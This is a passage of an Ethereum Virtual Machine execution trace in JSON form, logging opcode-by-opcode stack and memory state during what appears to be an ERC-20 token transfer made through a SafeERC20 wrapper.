000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7693,"op":"JUMPDEST","gas":62414,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7694,"op":"DUP4","gas":62413,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7695,"op":"DUP2","gas":62410,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7696,"op":"LT","gas":62407,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x44","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7697,"op":"ISZERO","gas":62404,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7698,"op":"PUSH2","gas":62401,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7701,"op":"JUMPI","gas":62398,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x0","0x1e25"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7702,"op":"DUP2","gas":62388,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7703,"op":"DUP2","gas":62385,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7704,"op":"ADD","gas":62382,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7705,"op":"MLOAD","gas":62379,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7706,"op":"DUP4","gas":62376,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x2e6fa21a000000000000000000000000000000000000000000000000000136db"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7707,"op":"DUP3","gas":62373,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x2e6fa21a000000000000000000000000000000000000000000000000000136db","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7708,"op":"ADD","gas":62370,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x2e6fa21a000000000000000000000000000000000000000000000000000136db","0x124","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7709,"op":"MSTORE","gas":62367,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x2e6fa21a000000000000000000000000000000000000000000000000000136db","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7710,"op":"PUSH1","gas":62361,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7712,"op":"ADD","gas":62358,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7713,"op":"PUSH2","gas":62355,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7716,"op":"JUMP","gas":62352,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b